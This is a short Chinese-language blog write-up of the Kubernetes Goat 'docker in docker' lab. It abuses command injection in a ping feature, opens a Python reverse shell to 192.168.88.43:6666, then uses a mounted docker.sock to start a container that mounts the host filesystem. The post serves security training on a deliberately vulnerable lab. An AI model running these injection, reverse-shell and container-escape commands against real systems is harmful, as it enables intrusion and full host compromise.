Kubernetes Goat 02 - docker in docker
Kubernetes Goat 02 - docker in docker
- 能执行
ping
命令
- 职业习惯加个管道符
反弹shell
- 尝试使用
bash
来反弹没有成功 - 使用
python
反弹执行成功
- 监听
- 执行命令
1 | 192.168.88.43 | python -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.88.43",6666));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")' |
判断环境
ls -la
mount
docker in docker
- “Docker in Docker” (DinD) 是一种在 Docker 容器内部运行 Docker 的实践方法。它允许您在一个容器中运行和管理 Docker 容器,而无需在宿主机上安装 Docker。
docker in docker 渗透测试
- 下载docker二进制版本
- 到
tmp
目录下
1 | wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz |
- 解压后执行
- 可以执行
docker
的命令
1 | /tmp/docker/docker -H unix:///custom/docker/docker.sock images |
1 | /tmp/docker# /tmp/docker/docker -H unix:///custom/docker/docker.sock ps |
宿主机执行系统命令
1 | /tmp/docker/docker -H unix:///custom/docker/docker.sock run -v /:/mnt -it alpine sh |
- 这个命令将在基于Alpine Linux镜像的Docker容器中运行。-v标志用于将主机目录/挂载到容器的目录/mnt。-it标志允许在容器内进行交互式会话,sh指定要运行的命令(在这种情况下,启动shell)。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Putdownd’s Blog!